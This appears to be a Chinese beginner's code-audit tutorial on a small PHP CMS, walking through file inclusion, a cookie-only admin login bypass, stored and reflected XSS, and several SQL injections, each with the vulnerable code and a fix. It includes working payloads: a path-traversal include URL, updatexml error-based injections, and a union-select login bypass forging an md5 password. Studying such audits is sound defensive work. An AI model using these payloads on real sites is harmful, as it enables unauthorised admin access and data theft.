菜鸡跟着前辈文章入门代码审计。
首先看一下这套cms的源代码目录分布
- admin//管理员后台
- css//css样式
- files//功能函数
- images//图片文件
- inc//配置信息
- install//安装目录文件
- seacmseditor//seacms编辑器
- template//模板文件
- upload//文件上传
- index.php//网站入口
- 使用说明.txt//使用说明
漏洞总结
id | 漏洞 | 修复 |
1 | 文件包含漏洞 | √ |
2 | 越权漏洞,登录绕过 | √ |
3 | 资料处存储型xss | √ |
4 | 登录处存在POST sql注入 | √ |
5 | 前台的评论处存储型型xss | √ |
6 | post注入 | √ |
7 | 前台的一个报错get型sql注入 | √ |
8 | sql注入报错伴随的反射型xss | √ |
代码审计常见方法
- 通读全文代码
- 定向功能审计
- 敏感函数回溯
1、通读全文代码
第一个漏洞,文件包含漏洞
<?php //单一入口模式 error_reporting(0); //关闭错误显示 $file=addslashes($_GET['r']); //接收文件名 $action=$file==''?'index':$file; //判断为空或者等于index include('files/'.$action.'.php'); //载入相应文件 ?>
index.php里通过get方法接受一个r参数,然后用addslashes函数进行过滤,如果r的值为空则拼接包含files/index.php,若r参数非空,则包含files/$file.php
php官方手册针对addslashes函数给的例子,该函数会对单引号(')、双引号(")、反斜线(\)与 NUL(NULL
字符)进行转义。
<?php $str = "Is your name O'reilly?"; // 输出: Is your name O\'reilly? echo addslashes($str); ?>
所以,我们在url里面可以路径跳转,访问file目录之外的php文件,但是因为拼接了.php所以不能任意文件包含,例如包含1.txt是不可以的。
在根目录写一个phpinfo.php的文件,通过index包含访问
http://192.168.2.114/xscms/index.php?r=../phpinfo #可以成功包含
文件包含漏洞修复,想法是白名单操作,将所有可能调用的都写在一个数组里面,然后封装成一个函数。
function protect($r){ $key=0; $cars=array("about","contact","content","download","downloads","index","list","pages","software","submit"); for ($i=0;$i<count($cars);$i++){ if($r==$cars[$i]) $key=1; } return $key; }
源代码包含逻辑修改为
<?php //单一入口模式 error_reporting(0); //关闭错误显示 $file=addslashes($_GET['r']); //接收文件名 $action=$file==''?'index':$file; //判断为空或者等于index if (protect($action)==1){ include('files/'.$action.'.php'); //载入相应文件}else{ echo "图图已修复"; } ?>
我们跟进代码的正常逻辑,不指定参数r的值,包含files/index.php
href="?r=content&cid=<?php echo $toutiaoimg['id']?>"
可以看到主业,很多文章的连接如上,包含content.php,跟进content.php文件
<?php require 'inc/conn.php'; require 'inc/time.class.php'; $query = "SELECT * FROM settings"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $info = mysql_fetch_array($resul); $id=addslashes($_GET['cid']); $query = "SELECT * FROM content WHERE id='$id'"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $content = mysql_fetch_array($resul); $navid=$content['navclass']; $query = "SELECT * FROM navclass WHERE id='$navid'"; $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $navs = mysql_fetch_array($resul); //浏览计数 $query = "UPDATE content SET hit = hit+1 WHERE id=$id"; @mysql_query($query) or die('修改错误:'.mysql_error()); ?> <?php $query=mysql_query("select * FROM interaction WHERE (cid='$id' AND type=1 and xs=1)"); $pinglunzs = mysql_num_rows($query) ?>
第8行get传入id参数,仅仅使用addslashes函数进行过滤。第9行,第19行,直接带入id进行查询,典型的报错注入。
$id=addslashes($_GET['cid']);
$query = "SELECT * FROM content WHERE id='$id'";
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
使用updatexml语句进行测试。
http://192.168.2.114/xscms/index.php?r=content&cid=1 and updatexml(1,concat(0x7e,(select @@version),0x7e),1)
继续跟进content.php,第154行,调用了submit.php对应前台的评论提交功能处。
<form name="form" method="post" action="/?r=submit&type=comment&cid=<?php echo $id?>">
跟进submit.php,第6行,第66行
$mail=$_POST['mail']; $query = "SELECT * FROM interaction WHERE( mail = '$mail')";
直接通过POST方式传入mail参数,未经任何处理直接拼接SQL查询语句
第175行
if ($type==1){
$query = "SELECT * FROM content WHERE( id= $cid)";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$wz = mysql_fetch_array($result);
$title=$wz['title'];
第121行
$query = "INSERT INTO interaction (type,xs,cid,name,mail,url,touxiang,shebei,ip,content,tz,date) VALUES ('$type','$xs','$cid','$name','$mail','$url','$touxiang','$shebei','$ip','$content','$tz',now())";
mail处提交
'and updatexml(1,concat(0x7e,(select concat(0x7e,version(),0x7e)),0x7e),1) ,'$url','$touxiang','$shebei','$ip','$content','$tz','1')#
此时拼接的SQL语句
"INSERT INTO interaction (type,xs,cid,name,mail,url,touxiang,shebei,ip,content,tz,date) VALUES ('$type','$xs','$cid','$name','' and updatexml(1,concat(0x7e,(select concat(0x7e,version(),0x7e)),0x7e),1) ,'$url','$touxiang','$shebei','$ip','$content','$tz','1')#','$url','$touxiang','$shebei','$ip','$content','$tz',now())";
修复:使用mysqli_real_escape_string()函数对传入的参数进行过滤。
二、定向代码审计
以admin管理员相关功能为方向进行审计
首先定位到admin目录下的index.php,判断r是否传参,先默认跟进到admin/files/index.php文件
<?php require '../inc/checklogin.php'; require '../inc/conn.php'; $indexopen='class="open"'; ?>
包含,inc目录下的checklogin.php检查是否登录模块
跟进checklogin.php
<?php $user=$_COOKIE['user']; if ($user==""){ header("Location: ?r=login"); exit; } ?>
仅仅只是简单的判断cookie是否有user,且user的值不为空,只要在cookie添加user字段,就很容易越权登录后台。
修复:
if(!defined('IN_SYS')) { exit('不好意思,越权已经被我干掉了~'); } #IN_SYS未定义
针对后台登录处login.php
<?php ob_start(); require '../inc/conn.php'; $login=$_POST['login']; $user=$_POST['user']; $password=$_POST['password']; $checkbox=$_POST['checkbox']; if ($login<>""){ $query = "SELECT * FROM manage WHERE user='$user'"; $result = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $users = mysql_fetch_array($result); if (!mysql_num_rows($result)) { echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>"; exit; }else{ $passwords=$users['password']; if(md5($password)<>$passwords){ echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>"; exit; } //写入登录信息并记住30天 if ($checkbox==1){ setcookie('user',$user,time()+3600*24*30,'/'); }else{ setcookie('user',$user,0,'/'); } echo "<script>this.location='?r=index'</script>"; exit; } exit; ob_end_flush(); } ?>
在user和password没有进行过滤直接拼接SQL语句查询
开启报错
test' and updatexml(1,concat(0x7e,(select concat(0x7e,version(),0x7e)),0x7e),1) # 1' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0) #
未开启报错,使用union联合查询绕过
' union select 1,2,3,md5(1),5,6,7,8#
密码为1
三、敏感函数回溯
根据敏感函数,来追踪函数使用传递的过程,逐一溯源进行分析。
在files/concat.php中的第12行
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php echo $navs['name']?> - <?php echo $pages.$info['name']?></title>
$page参数只是仅仅进行了特殊字符的转义,然后直接带入一下的html代码中,此处可以构造payloads直接进行反射性xss
修复使用htmlentities()函数进行修复
文章评论处的xss后面再补